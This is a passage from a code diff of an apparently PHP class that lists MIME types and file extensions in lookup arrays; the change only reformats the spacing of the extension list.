'application/x-wais-source' => 1, + 'application/x-x509-ca-cert' => 1, 'application/x-x509-ca-cert' => 1, 'application/x-xfig' => 1, 'application/x-xliff+xml' => 1, 'application/x-xpinstall' => 1, 'application/x-xz' => 1, + 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, + 'application/x-zmachine' => 1, 'application/x-zmachine' => 1, 'application/xaml+xml' => 1, 'application/xcap-diff+xml' => 1, 'application/xenc+xml' => 1, 'application/xhtml+xml' => 1, + 'application/xhtml+xml' => 1, 'application/xml' => 1, 'application/xml' => 1, 'application/xml-dtd' => 1, 'application/xop+xml' => 1, 'application/xproc+xml' => 1, 'application/xslt+xml' => 1, + 'application/xspf+xml' => 1, 'application/xv+xml' => 1, 'application/xv+xml' => 1, 'application/xv+xml' => 1, 'application/xv+xml' => 1, 'application/yang' => 1, 'application/yin+xml' => 1, + 'application/zip' => 1, 'audio/adpcm' => 1, 'audio/basic' => 1, 'audio/basic' => 1, 'audio/midi' => 1, 'audio/midi' => 1, 'audio/midi' => 1, 'audio/midi' => 1, 'audio/mp4' => 1, 'audio/mpeg' => 1, + 'audio/mpeg' => 1, 'audio/mpeg' => 1, 'audio/mpeg' => 1, 'audio/mpeg' => 1, 'audio/mpeg' => 1, 'audio/ogg' => 1, 'audio/ogg' => 1, 'audio/ogg' => 1, 'audio/s3m' => 1, 'audio/silk' => 1, + 'audio/vnd.dece.audio' => 1, 'audio/vnd.dece.audio' => 1, 'audio/vnd.digital-winds' => 1, 'audio/vnd.dra' => 1, 'audio/vnd.dts' => 1, 'audio/vnd.dts.hd' => 1, 'audio/vnd.lucent.voice' => 1, + 'audio/vnd.ms-playready.media.pya' => 1, 'audio/vnd.nuera.ecelp4800' => 1, 'audio/vnd.nuera.ecelp7470' => 1, 'audio/vnd.nuera.ecelp9600' => 1, 'audio/vnd.rip' => 1, 'audio/webm' => 1, + 'audio/x-aac' => 1, 'audio/x-aiff' => 1, 'audio/x-aiff' => 1, 'audio/x-aiff' => 1, 'audio/x-caf' => 1, 'audio/x-flac' => 1, 'audio/x-matroska' => 1, 'audio/x-mpegurl' => 1, 'audio/x-ms-wax' => 1, + 'audio/x-ms-wma' => 1, 'audio/x-pn-realaudio' => 1, 'audio/x-pn-realaudio' => 1, 'audio/x-pn-realaudio-plugin' => 1, 'audio/x-wav' => 1, 'audio/xm' => 1, 'chemical/x-cdx' => 1, 'chemical/x-cif' => 1, + 'chemical/x-cmdf' => 1, 'chemical/x-cml' => 1, 'chemical/x-csml' => 1, 'chemical/x-xyz' => 1, 'image/bmp' => 1, 'image/cgm' => 1, 'image/g3fax' => 1, 'image/gif' => 1, 'image/ief' => 1, 'image/jpeg' => 1, + 'image/jpeg' => 1, 'image/jpeg' => 1, 'image/ktx' => 1, 'image/png' => 1, 'image/prs.btif' => 1, 'image/sgi' => 1, 'image/svg+xml' => 1, 'image/svg+xml' => 1, 'image/tiff' => 1, 'image/tiff' => 1, + 'image/vnd.adobe.photoshop' => 1, 'image/vnd.dece.graphic' => 1, 'image/vnd.dece.graphic' => 1, 'image/vnd.dece.graphic' => 1, 'image/vnd.dece.graphic' => 1, 'image/vnd.dvb.subtitle' => 1, + 'image/vnd.djvu' => 1, 'image/vnd.djvu' => 1, 'image/vnd.dwg' => 1, 'image/vnd.dxf' => 1, 'image/vnd.fastbidsheet' => 1, 'image/vnd.fpx' => 1, 'image/vnd.fst' => 1, 'image/vnd.fujixerox.edmics-mmr' => 1, + 'image/vnd.fujixerox.edmics-rlc' => 1, 'image/vnd.ms-modi' => 1, 'image/vnd.ms-photo' => 1, 'image/vnd.net-fpx' => 1, 'image/vnd.wap.wbmp' => 1, 'image/vnd.xiff' => 1, 'image/webp' => 1, + 'image/x-3ds' => 1, 'image/x-cmu-raster' => 1, 'image/x-cmx' => 1, 'image/x-freehand' => 1, 'image/x-freehand' => 1, 'image/x-freehand' => 1, 'image/x-freehand' => 1, 'image/x-freehand' => 1, + 'image/x-icon' => 1, 'image/x-mrsid-image' => 1, 'image/x-pcx' => 1, 'image/x-pict' => 1, 'image/x-pict' => 1, 'image/x-portable-anymap' => 1, 'image/x-portable-bitmap' => 1, + 'image/x-portable-graymap' => 1, 'image/x-portable-pixmap' => 1, 'image/x-rgb' => 1, 'image/x-tga' => 1, 'image/x-xbitmap' => 1, 'image/x-xpixmap' => 1, 'image/x-xwindowdump' => 1, + 'message/rfc822' => 1, 'message/rfc822' => 1, 'model/iges' => 1, 'model/iges' => 1, 'model/mesh' => 1, 'model/mesh' => 1, 'model/mesh' => 1, 'model/vnd.collada+xml' => 1, 'model/vnd.dwf' => 1, + 'model/vnd.gdl' => 1, 'model/vnd.gtw' => 1, 'model/vnd.mts' => 1, 'model/vnd.vtu' => 1, 'model/vrml' => 1, 'model/vrml' => 1, 'model/x3d+binary' => 1, 'model/x3d+binary' => 1, 'model/x3d+vrml' => 1, + 'model/x3d+vrml' => 1, 'model/x3d+xml' => 1, 'model/x3d+xml' => 1, 'video/3gpp' => 1, 'video/3gpp2' => 1, 'video/h261' => 1, 'video/h263' => 1, 'video/h264' => 1, 'video/jpeg' => 1, 'video/jpm' => 1, + 'video/jpm' => 1, 'video/mj2' => 1, 'video/mj2' => 1, 'video/mp4' => 1, 'video/mp4' => 1, 'video/mp4' => 1, 'video/mpeg' => 1, 'video/mpeg' => 1, 'video/mpeg' => 1, 'video/mpeg' => 1, 'video/mpeg' => 1, + 'video/ogg' => 1, 'video/quicktime' => 1, 'video/quicktime' => 1, 'video/vnd.dece.hd' => 1, 'video/vnd.dece.hd' => 1, 'video/vnd.dece.mobile' => 1, 'video/vnd.dece.mobile' => 1, 'video/vnd.dece.pd' => 1, + 'video/vnd.dece.pd' => 1, 'video/vnd.dece.sd' => 1, 'video/vnd.dece.sd' => 1, 'video/vnd.dece.video' => 1, 'video/vnd.dece.video' => 1, 'video/vnd.dvb.file' => 1, 'video/vnd.fvt' => 1, + 'video/vnd.mpegurl' => 1, 'video/vnd.mpegurl' => 1, 'video/vnd.ms-playready.media.pyv' => 1, 'video/vnd.uvvu.mp4' => 1, 'video/vnd.uvvu.mp4' => 1, 'video/vnd.vivo' => 1, 'video/webm' => 1, + 'video/x-f4v' => 1, 'video/x-fli' => 1, 'video/x-flv' => 1, 'video/x-m4v' => 1, 'video/x-matroska' => 1, 'video/x-matroska' => 1, 'video/x-matroska' => 1, 'video/x-mng' => 1, 'video/x-ms-asf' => 1, + 'video/x-ms-asf' => 1, 'video/x-ms-vob' => 1, 'video/x-ms-wm' => 1, 'video/x-ms-wmv' => 1, 'video/x-ms-wmx' => 1, 'video/x-ms-wvx' => 1, 'video/x-msvideo' => 1, 'video/x-sgi-movie' => 1, + 'video/x-smv' => 1, 'x-conference/x-cooltalk' => 1 ); - var $extList = array('ez'=>1, 'aw'=>1, 'atom'=>1, 'atomcat'=>1, 'atomsvc'=>1, 'ccxml'=>1, 'cdmia'=>1, 'cdmic'=>1, 'cdmid'=>1, 'cdmio'=>1, 'cdmiq'=>1, 'cu'=>1, 'davmount'=>1, - 'dbk'=>1, 'dssc'=>1, 'xdssc'=>1, 'ecma'=>1, 'emma'=>1, 'epub'=>1, 'exi'=>1, 'pfr'=>1, 'gml'=>1, 'gpx'=>1, 'gxf'=>1, 'stk'=>1, 'ink'=>1, 'inkml'=>1, 'ipfix'=>1, 'jar'=>1, - 'ser'=>1, 'class'=>1, 'js'=>1, 'json'=>1, 'jsonml'=>1, 'lostxml'=>1, 'hqx'=>1, 'cpt'=>1, 'mads'=>1, 'mrc'=>1, 'mrcx'=>1, 'ma'=>1, 'nb'=>1, 'mb'=>1, 'mathml'=>1, 'mbox'=>1, - 'mscml'=>1, 'metalink'=>1, 'meta4'=>1, 'mets'=>1, 'mods'=>1, 'm21 mp21'=>1, 'mp4s'=>1, 'doc dot'=>1, 'mxf'=>1, 'bin'=>1, 'dms'=>1, 'lrf'=>1, 'mar'=>1, 'so'=>1, 'dist'=>1, - 'distz'=>1, 'pkg'=>1, 'bpk'=>1, 'dump'=>1, 'elc'=>1, 'deploy'=>1, 'oda'=>1, 'opf'=>1, 'ogx'=>1, 'omdoc'=>1, 'onetoc'=>1, 'onetoc2'=>1, 'onetmp'=>1, 'onepkg'=>1, 'oxps'=>1, - 'xer'=>1, 'pdf'=>1, 'pgp'=>1, 'asc'=>1, 'sig'=>1, 'prf'=>1, 'p10'=>1, 'p7m'=>1, 'p7c'=>1, 'p7s'=>1, 'p8'=>1, 'ac'=>1, 'cer'=>1, 'crl'=>1, 'pkipath'=>1, 'pki'=>1, 'pls'=>1, - 'ai'=>1, 'eps'=>1, 'ps'=>1, 'cww'=>1, 'pskcxml'=>1, 'rdf'=>1, 'rif'=>1, 'rnc'=>1, 'rl'=>1, 'rld'=>1, 'rs'=>1, 'gbr'=>1, 'mft'=>1, 'roa'=>1, 'rsd'=>1, 'rss'=>1, 'rtf'=>1, - 'sbml'=>1, 'scq'=>1, 'scs'=>1, 'spq'=>1, 'spp'=>1, 'sdp'=>1, 'setpay'=>1, 'setreg'=>1, 'shf'=>1, 'smi'=>1, 'smil'=>1, 'rq'=>1, 'srx'=>1, 'gram'=>1, 'grxml'=>1, 'sru'=>1, - 'ssdl'=>1, 'ssml'=>1, 'tei'=>1, 'teicorpus'=>1, 'tfi'=>1, 'tsd'=>1, 'plb'=>1, 'psb'=>1, 'pvb'=>1, 'tcap'=>1, 'pwn'=>1, 'aso'=>1, 'imp'=>1, 'acu'=>1, 'atc'=>1, 'acutc'=>1, - 'air'=>1, 'fcdt'=>1, 'fxp'=>1, 'fxpl'=>1, 'xdp'=>1, 'xfdf'=>1, 'ahead'=>1, 'azf'=>1, 'azs'=>1, 'azw'=>1, 'acc'=>1, 'ami'=>1, 'apk'=>1, 'cii'=>1, 'fti'=>1, 'atx'=>1, 'mpkg'=>1, - 'm3u8'=>1, 'swi'=>1, 'iota'=>1, 'aep'=>1, 'mpm'=>1, 'bmi'=>1, 'rep'=>1, 'cdxml'=>1, 'mmd'=>1, 'cdy'=>1, 'cla'=>1, 'rp9'=>1, 'c4g'=>1, 'c4d'=>1, 'c4f'=>1, 'c4p'=>1, 'c4u'=>1, - 'c11amc'=>1, 'c11amz'=>1, 'csp'=>1, 'cdbcmsg'=>1, 'cmc'=>1, 'clkx'=>1, 'clkk'=>1, 'clkp'=>1, 'clkt'=>1, 'clkw'=>1, 'wbs'=>1, 'pml'=>1, 'ppd'=>1, 'car'=>1, 'pcurl'=>1, 'dart'=>1, - 'rdz'=>1, 'uvf'=>1, 'uvvf'=>1, 'uvd'=>1, 'uvvd'=>1, 'uvt'=>1, 'uvvt'=>1, 'uvx'=>1, 'uvvx'=>1, 'uvz'=>1, 'uvvz'=>1, 'fe_launch'=>1, 'dna'=>1, 'mlp'=>1, 'dpg'=>1, 'dfac'=>1, - 'kpxx'=>1, 'ait'=>1, 'svc'=>1, 'geo'=>1, 'mag'=>1, 'nml'=>1, 'esf'=>1, 'msf'=>1, 'qam'=>1, 'slt'=>1, 'ssf'=>1, 'es3'=>1, 'et3'=>1, 'ez2'=>1, 'ez3'=>1, 'fdf'=>1, 'mseed'=>1, - 'seed'=>1, 'dataless'=>1, 'gph'=>1, 'ftc'=>1, 'fm'=>1, 'frame'=>1, 'maker'=>1, 'book'=>1, 'fnc'=>1, 'ltf'=>1, 'fsc'=>1, 'oas'=>1, 'oa2'=>1, 'oa3'=>1, 'fg5'=>1, 'bh2'=>1, 'ddd'=>1, - 'xdw'=>1, 'xbd'=>1, 'fzs'=>1, 'txd'=>1, 'ggb'=>1, 'ggt'=>1, 'gex'=>1, 'gre'=>1, 'gxt'=>1, 'g2w'=>1, 'g3w'=>1, 'gmx'=>1, 'kml'=>1, 'kmz'=>1, 'gqf'=>1, 'gqs'=>1, 'gac'=>1, 'ghf'=>1, - 'gim'=>1, 'grv'=>1, 'gtm'=>1, 'tpl'=>1, 'vcg'=>1, 'hal'=>1, 'zmm'=>1, 'hbci'=>1, 'les'=>1, 'hpgl'=>1, 'hpid'=>1, 'hps'=>1, 'jlt'=>1, 'pcl'=>1, 'pclxl'=>1, 'sfd-hdstx'=>1, 'mpy'=>1, - 'afp'=>1, 'listafp'=>1, 'list3820'=>1, 'irm'=>1, 'sc'=>1, 'icc'=>1, 'icm'=>1, 'igl'=>1, 'ivp'=>1, 'ivu'=>1, 'igm'=>1, 'xpw'=>1, 'xpx'=>1, 'i2g'=>1, 'qbo'=>1, 'qfx'=>1, - 'rcprofile'=>1, 'irp'=>1, 'xpr'=>1, 'fcs'=>1, 'jam'=>1, 'rms'=>1, 'jisp'=>1, 'joda'=>1, 'ktz'=>1, 'ktr'=>1, 'karbon'=>1, 'chrt'=>1, 'kfo'=>1, 'flw'=>1, 'kon'=>1, 'kpr'=>1, 'kpt'=>1, - 'ksp'=>1, 'kwd'=>1, 'kwt'=>1, 'htke'=>1, 'kia'=>1, 'kne'=>1, 'knp'=>1, 'skp'=>1, 'skd'=>1, 'skt'=>1, 'skm'=>1, 'sse'=>1, 'lasxml'=>1, 'lbd'=>1, 'lbe'=>1, '123'=>1, 'apr'=>1, - 'pre'=>1, 'nsf'=>1, 'org'=>1, 'scm'=>1, 'lwp'=>1, 'portpkg'=>1, 'mcd'=>1, 'mc1'=>1, 'cdkey'=>1, 'mwf'=>1, 'mfm'=>1, 'flo'=>1, 'igx'=>1, 'mif'=>1, 'daf'=>1, 'dis'=>1, 'mbk'=>1, - 'mqy'=>1, 'msl'=>1, 'plc'=>1, 'txf'=>1, 'mpn'=>1, 'mpc'=>1, 'xul'=>1, 'cil'=>1, 'cab'=>1, 'xls'=>1, 'xlm'=>1, 'xla'=>1, 'xlc'=>1, 'xlt'=>1, 'xlw'=>1, 'xlam'=>1, 'xlsb'=>1, 'xlsm'=>1, - 'xltm'=>1, 'eot'=>1, 'chm'=>1, 'ims'=>1, 'lrm'=>1, 'thmx'=>1, 'cat'=>1, 'stl'=>1, 'ppt'=>1, 'pps'=>1, 'pot'=>1, 'ppam'=>1, 'pptm'=>1, 'sldm'=>1, 'ppsm'=>1, 'potm'=>1, 'mpp'=>1, - 'mpt'=>1, 'docm'=>1, 'dotm'=>1, 'wps'=>1, 'wks'=>1, 'wcm'=>1, 'wdb'=>1, 'wpl'=>1, 'xps'=>1, 'mseq'=>1, 'mus'=>1, 'msty'=>1, 'taglet'=>1, 'nlu'=>1, 'nitf'=>1, 'nitf'=>1, 'nnd'=>1, - 'nns'=>1, 'nnw'=>1, 'ngdat'=>1, 'n-gage'=>1, 'rpst'=>1, 'rpss'=>1, 'edm'=>1, 'edx'=>1, 'ext'=>1, 'odc'=>1, 'otc'=>1, 'odb'=>1, 'odf'=>1, 'odft'=>1, 'odg'=>1, 'otg'=>1, 'odi'=>1, - 'oti'=>1, 'odp'=>1, 'otp'=>1, 'ods'=>1, 'ots'=>1, 'odt'=>1, 'odm'=>1, 'ott'=>1, 'oth'=>1, 'xo'=>1, 'dd2'=>1, 'oxt'=>1, 'pptx'=>1, 'sldx'=>1, 'ppsx'=>1, 'potx'=>1, 'xlsx'=>1, 'xltx'=>1, - 'docx'=>1, 'dotx'=>1, 'mgp'=>1, 'dp'=>1, 'esa'=>1, 'pdb'=>1, 'pqa'=>1, 'oprc'=>1, 'paw'=>1, 'str'=>1, 'ei6'=>1, 'efif'=>1, 'wg'=>1, 'plf'=>1, 'pbd'=>1, 'box'=>1, 'mgz'=>1, 'qps'=>1, - 'ptid'=>1, 'qxd'=>1, 'qxt'=>1, 'qwd'=>1, 'qwt'=>1, 'qxl'=>1, 'qxb'=>1, 'bed'=>1, 'mxl'=>1, 'musicxml'=>1, 'cryptonote'=>1, 'cod'=>1, 'rm'=>1, 'rmvb'=>1, 'link66'=>1, 'st'=>1, 'see'=>1, - 'sema'=>1, 'semd'=>1, 'semf'=>1, 'ifm'=>1, 'itp'=>1, 'iif'=>1, 'ipk'=>1, 'twd'=>1, 'twds'=>1, 'mmf'=>1, 'teacher'=>1, 'sdkm'=>1, 'sdkd'=>1, 'dxp'=>1, 'sfs'=>1, 'sdc'=>1, 'sda'=>1, - 'sdd'=>1, 'smf'=>1, 'sdw'=>1, 'vor'=>1, 'sgl'=>1, 'smzip'=>1, 'sm'=>1, 'sxc'=>1, 'stc'=>1, 'sxd'=>1, 'std'=>1, 'sxi'=>1, 'sti'=>1, 'sxm'=>1, 'sxw'=>1, 'sxg'=>1, 'stw'=>1, 'sus'=>1, - 'susp'=>1, 'svd'=>1, 'sis'=>1, 'sisx'=>1, 'xsm'=>1, 'bdm'=>1, 'xdm'=>1, 'tao'=>1, 'pcap'=>1, 'cap'=>1, 'dmp'=>1, 'tmo'=>1, 'tpt'=>1, 'mxs'=>1, 'tra'=>1, 'ufd'=>1, 'ufdl'=>1, 'utz'=>1, - 'umj'=>1, 'unityweb'=>1, 'uoml'=>1, 'vcx'=>1, 'vsd'=>1, 'vst'=>1, 'vss'=>1, 'vsw'=>1, 'vis'=>1, 'vsf'=>1, 'wbxml'=>1, 'wmlc'=>1, 'wmlsc'=>1, 'wtb'=>1, 'nbp'=>1, 'wpd'=>1, 'wqd'=>1, - 'stf'=>1, 'xar'=>1, 'xfdl'=>1, 'hvd'=>1, 'hvs'=>1, 'hvp'=>1, 'osf'=>1, 'osfpvg'=>1, 'saf'=>1, 'spf'=>1, 'cmp'=>1, 'zir'=>1, 'zirz'=>1, 'zaz'=>1, 'vxml'=>1, 'wgt'=>1, 'hlp'=>1, 'wsdl'=>1, - 'wspolicy'=>1, '7z'=>1, 'abw'=>1, 'ace'=>1, 'dmg'=>1, 'aab'=>1, 'x32'=>1, 'u32'=>1, 'vox'=>1, 'aam'=>1, 'aas'=>1, 'bcpio'=>1, 'torrent'=>1, 'blb'=>1, 'blorb'=>1, 'bz'=>1, 'bz2'=>1, - 'boz'=>1, 'cbr'=>1, 'cba'=>1, 'cbt'=>1, 'cbz'=>1, 'cb7'=>1, 'vcd'=>1, 'cfs'=>1, 'chat'=>1, 'pgn'=>1, 'nsc'=>1, 'cpio'=>1, 'csh'=>1, 'deb'=>1, 'udeb'=>1, 'dgc'=>1, 'dir'=>1, 'dcr'=>1, - 'dxr'=>1, 'cst'=>1, 'cct'=>1, 'cxt'=>1, 'w3d'=>1, 'fgd'=>1, 'swa'=>1, 'wad'=>1, 'ncx'=>1, 'dtb'=>1, 'res'=>1, 'dvi'=>1, 'evy'=>1, 'eva'=>1, 'bdf'=>1, 'gsf'=>1, 'psf'=>1, 'otf'=>1, - 'pcf'=>1, 'snf'=>1, 'ttf'=>1, 'ttc'=>1, 'pfa'=>1, 'pfb'=>1, 'pfm'=>1, 'afm'=>1, 'woff'=>1, 'arc'=>1, 'spl'=>1, 'gca'=>1, 'ulx'=>1, 'gnumeric'=>1, 'gramps'=>1, 'gtar'=>1, 'hdf'=>1, - 'install'=>1, 'iso'=>1, 'jnlp'=>1, 'latex'=>1, 'lzh'=>1, 'lha'=>1, 'mie'=>1, 'prc'=>1, 'mobi'=>1, 'application'=>1, 'lnk'=>1, 'wmd'=>1, 'wmz'=>1, 'xbap'=>1, 'mdb'=>1, 'obd'=>1, - 'crd'=>1, 'clp'=>1, 'exe'=>1, 'dll'=>1, 'com'=>1, 'bat'=>1, 'msi'=>1, 'mvb'=>1, 'm13'=>1, 'm14'=>1, 'wmf'=>1, 'wmz'=>1, 'emf'=>1, 'emz'=>1, 'mny'=>1, 'pub'=>1, 'scd'=>1, 'trm'=>1, - 'wri'=>1, 'nc'=>1, 'cdf'=>1, 'nzb'=>1, 'p12'=>1, 'pfx'=>1, 'p7b'=>1, 'spc'=>1, 'p7r'=>1, 'rar'=>1, 'ris'=>1, 'sh'=>1, 'shar'=>1, 'swf'=>1, 'xap'=>1, 'sql'=>1, 'sit'=>1, 'sitx'=>1, - 'srt'=>1, 'sv4cpio'=>1, 'sv4crc'=>1, 't3'=>1, 'gam'=>1, 'tar'=>1, 'tcl'=>1, 'tex'=>1, 'tfm'=>1, 'texinfo'=>1, 'texi'=>1, 'obj'=>1, 'ustar'=>1, 'src'=>1, 'der'=>1, 'crt'=>1, 'fig'=>1, - 'xlf'=>1, 'xpi'=>1, 'xz'=>1, 'z1'=>1, 'z2'=>1, 'z3'=>1, 'z4'=>1, 'z5'=>1, 'z6'=>1, 'z7'=>1, 'z8'=>1, 'xaml'=>1, 'xdf'=>1, 'xenc'=>1, 'xhtml'=>1, 'xht'=>1, 'xml'=>1, 'xsl'=>1, 'dtd'=>1, - 'xop'=>1, 'xpl'=>1, 'xslt'=>1, 'xspf'=>1, 'mxml'=>1, 'xhvml'=>1, 'xvml'=>1, 'xvm'=>1, 'yang'=>1, 'yin'=>1, 'zip'=>1, 'adp'=>1, 'au'=>1, 'snd'=>1, 'mid'=>1, 'midi'=>1, 'kar'=>1, 'rmi'=>1, - 'mp4a'=>1, 'mpga'=>1, 'mp2'=>1, 'mp2a'=>1, 'mp3'=>1, 'm2a'=>1, 'm3a'=>1, 'oga'=>1, 'ogg'=>1, 'spx'=>1, 's3m'=>1, 'sil'=>1, 'uva'=>1, 'uvva'=>1, 'eol'=>1, 'dra'=>1, 'dts'=>1, 'dtshd'=>1, - 'lvp'=>1, 'pya'=>1, 'ecelp4800'=>1, 'ecelp7470'=>1, 'ecelp9600'=>1, 'rip'=>1, 'weba'=>1, 'aac'=>1, 'aif'=>1, 'aiff'=>1, 'aifc'=>1, 'caf'=>1, 'flac'=>1, 'mka'=>1, 'm3u'=>1, 'wax'=>1, - 'wma'=>1, 'ram'=>1, 'ra'=>1, 'rmp'=>1, 'wav'=>1, 'xm'=>1, 'cdx'=>1, 'cif'=>1, 'cmdf'=>1, 'cml'=>1, 'csml'=>1, 'xyz'=>1, 'bmp'=>1, 'cgm'=>1, 'g3'=>1, 'gif'=>1, 'ief'=>1, 'jpeg'=>1, - 'jpg'=>1, 'jpe'=>1, 'ktx'=>1, 'png'=>1, 'btif'=>1, 'sgi'=>1, 'svg'=>1, 'svgz'=>1, 'tiff'=>1, 'tif'=>1, 'psd'=>1, 'uvi'=>1, 'uvvi'=>1, 'uvg'=>1, 'uvvg'=>1, 'sub'=>1, 'djvu'=>1, 'djv'=>1, - 'dwg'=>1, 'dxf'=>1, 'fbs'=>1, 'fpx'=>1, 'fst'=>1, 'mmr'=>1, 'rlc'=>1, 'mdi'=>1, 'wdp'=>1, 'npx'=>1, 'wbmp'=>1, 'xif'=>1, 'webp'=>1, '3ds'=>1, 'ras'=>1, 'cmx'=>1, 'fh'=>1, 'fhc'=>1, - 'fh4'=>1, 'fh5'=>1, 'fh7'=>1, 'ico'=>1, 'sid'=>1, 'pcx'=>1, 'pic'=>1, 'pct'=>1, 'pnm'=>1, 'pbm'=>1, 'pgm'=>1, 'ppm'=>1, 'rgb'=>1, 'tga'=>1, 'xbm'=>1, 'xpm'=>1, 'xwd'=>1, 'eml'=>1, - 'mime'=>1, 'igs'=>1, 'iges'=>1, 'msh'=>1, 'mesh'=>1, 'silo'=>1, 'dae'=>1, 'dwf'=>1, 'gdl'=>1, 'gtw'=>1, 'mts'=>1, 'vtu'=>1, 'wrl'=>1, 'vrml'=>1, 'x3db'=>1, 'x3dbz'=>1, 'x3dv'=>1, - 'x3dvz'=>1, 'x3d'=>1, 'x3dz'=>1, '3gp'=>1, '3g2'=>1, 'h261'=>1, 'h263'=>1, 'h264'=>1, 'jpgv'=>1, 'jpm'=>1, 'jpgm'=>1, 'mj2'=>1, 'mjp2'=>1, 'mp4'=>1, 'mp4v'=>1, 'mpg4'=>1, 'mpeg'=>1, - 'mpg'=>1, 'mpe'=>1, 'm1v'=>1, 'm2v'=>1, 'ogv'=>1, 'qt'=>1, 'mov'=>1, 'uvh'=>1, 'uvvh'=>1, 'uvm'=>1, 'uvvm'=>1, 'uvp'=>1, 'uvvp'=>1, 'uvs'=>1, 'uvvs'=>1, 'uvv'=>1, 'uvvv'=>1, 'dvb'=>1, - 'fvt'=>1, 'mxu'=>1, 'm4u'=>1, 'pyv'=>1, 'uvu'=>1, 'uvvu'=>1, 'viv'=>1, 'webm'=>1, 'f4v'=>1, 'fli'=>1, 'flv'=>1, 'm4v'=>1, 'mkv'=>1, 'mk3d'=>1, 'mks'=>1, 'mng'=>1, 'asf'=>1, 'asx'=>1, - 'vob'=>1, 'wm'=>1, 'wmv'=>1, 'wmx'=>1, 'wvx'=>1, 'avi'=>1, 'movie'=>1, 'smv'=>1, 'ice'=>1, + var $extList = array('ez' => 1, 'aw' => 1, 'atom' => 1, 'atomcat' => 1, 'atomsvc' => 1, 'ccxml' => 1, 'cdmia' => 1, 'cdmic' => 1, 'cdmid' => 1, 'cdmio' => 1, 'cdmiq' => 1, 'cu' => 1, 'davmount' => 1, + 'dbk' => 1, 'dssc' => 1, 'xdssc' => 1, 'ecma' => 1, 'emma' => 1, 'epub' => 1, 'exi' => 1, 'pfr' => 1, 'gml' => 1, 'gpx' => 1, 'gxf' => 1, 'stk' => 1, 'ink' => 1, 'inkml' => 1, 'ipfix' => 1, 'jar' => 1, + 'ser' => 1, 'class' => 1, 'js' => 1, 'json' => 1, 'jsonml' => 1, 'lostxml' => 1, 'hqx' => 1, 'cpt' => 1, 'mads' => 1, 'mrc' => 1, 'mrcx' => 1, 'ma' => 1, 'nb' => 1, 'mb' => 1, 'mathml' => 1, 'mbox' => 1, + 'mscml' => 1, 'metalink' => 1, 'meta4' => 1, 'mets' => 1, 'mods' => 1, 'm21 mp21' => 1, 'mp4s' => 1, 'doc dot' => 1, 'mxf' => 1, 'bin' => 1, 'dms' => 1, 'lrf' => 1, 'mar' => 1, 'so' => 1, 'dist' => 1, + 'distz' => 1, 'pkg' => 1, 'bpk' => 1, 'dump' => 1, 'elc' => 1, 'deploy' => 1, 'oda' => 1, 'opf' => 1, 'ogx' => 1, 'omdoc' => 1, 'onetoc' => 1, 'onetoc2' => 1, 'onetmp' => 1, 'onepkg' => 1, 'oxps' => 1, + 'xer' => 1, 'pdf' => 1, 'pgp' => 1, 'asc' => 1, 'sig' => 1, 'prf' => 1, 'p10' => 1, 'p7m' => 1, 'p7c' => 1, 'p7s' => 1, 'p8' => 1, 'ac' => 1, 'cer' => 1, 'crl' => 1, 'pkipath' => 1, 'pki' => 1, 'pls' => 1, + 'ai' => 1, 'eps' => 1, 'ps' => 1, 'cww' => 1, 'pskcxml' => 1, 'rdf' => 1, 'rif' => 1, 'rnc' => 1, 'rl' => 1, 'rld' => 1, 'rs' => 1, 'gbr' => 1, 'mft' => 1, 'roa' => 1, 'rsd' => 1, 'rss' => 1, 'rtf' => 1, + 'sbml' => 1, 'scq' => 1, 'scs' => 1, 'spq' => 1, 'spp' => 1, 'sdp' => 1, 'setpay' => 1, 'setreg' => 1, 'shf' => 1, 'smi' => 1, 'smil' => 1, 'rq' => 1, 'srx' => 1, 'gram' => 1, 'grxml' => 1, 'sru' => 1, + 'ssdl' => 1, 'ssml' => 1, 'tei' => 1, 'teicorpus' => 1, 'tfi' => 1, 'tsd' => 1, 'plb' => 1, 'psb' => 1, 'pvb' => 1, 'tcap' => 1, 'pwn' => 1, 'aso' => 1, 'imp' => 1, 'acu' => 1, 'atc' => 1, 'acutc' => 1, + 'air' => 1, 'fcdt' => 1, 'fxp' => 1, 'fxpl' => 1, 'xdp' => 1, 'xfdf' => 1, 'ahead' => 1, 'azf' => 1, 'azs' => 1, 'azw' => 1, 'acc' => 1, 'ami' => 1, 'apk' => 1, 'cii' => 1, 'fti' => 1, 'atx' => 1, 'mpkg' => 1, + 'm3u8' => 1, 'swi' => 1, 'iota' => 1, 'aep' => 1, 'mpm' => 1, 'bmi' => 1, 'rep' => 1, 'cdxml' => 1, 'mmd' => 1, 'cdy' => 1, 'cla' => 1, 'rp9' => 1, 'c4g' => 1, 'c4d' => 1, 'c4f' => 1, 'c4p' => 1, 'c4u' => 1, + 'c11amc' => 1, 'c11amz' => 1, 'csp' => 1, 'cdbcmsg' => 1, 'cmc' => 1, 'clkx' => 1, 'clkk' => 1, 'clkp' => 1, 'clkt' => 1, 'clkw' => 1, 'wbs' => 1, 'pml' => 1, 'ppd' => 1, 'car' => 1, 'pcurl' => 1, 'dart' => 1, + 'rdz' => 1, 'uvf' => 1, 'uvvf' => 1, 'uvd' => 1, 'uvvd' => 1, 'uvt' => 1, 'uvvt' => 1, 'uvx' => 1, 'uvvx' => 1, 'uvz' => 1, 'uvvz' => 1, 'fe_launch' => 1, 'dna' => 1, 'mlp' => 1, 'dpg' => 1, 'dfac' => 1, + 'kpxx' => 1, 'ait' => 1, 'svc' => 1, 'geo' => 1, 'mag' => 1, 'nml' => 1, 'esf' => 1, 'msf' => 1, 'qam' => 1, 'slt' => 1, 'ssf' => 1, 'es3' => 1, 'et3' => 1, 'ez2' => 1, 'ez3' => 1, 'fdf' => 1, 'mseed' => 1, + 'seed' => 1, 'dataless' => 1, 'gph' => 1, 'ftc' => 1, 'fm' => 1, 'frame' => 1, 'maker' => 1, 'book' => 1, 'fnc' => 1, 'ltf' => 1, 'fsc' => 1, 'oas' => 1, 'oa2' => 1, 'oa3' => 1, 'fg5' => 1, 'bh2' => 1, 'ddd' => 1, + 'xdw' => 1, 'xbd' => 1, 'fzs' => 1, 'txd' => 1, 'ggb' => 1, 'ggt' => 1, 'gex' => 1, 'gre' => 1, 'gxt' => 1, 'g2w' => 1, 'g3w' => 1, 'gmx' => 1, 'kml' => 1, 'kmz' => 1, 'gqf' => 1, 'gqs' => 1, 'gac' => 1, 'ghf' => 1, + 'gim' => 1, 'grv' => 1, 'gtm' => 1, 'tpl' => 1, 'vcg' => 1, 'hal' => 1, 'zmm' => 1, 'hbci' => 1, 'les' => 1, 'hpgl' => 1, 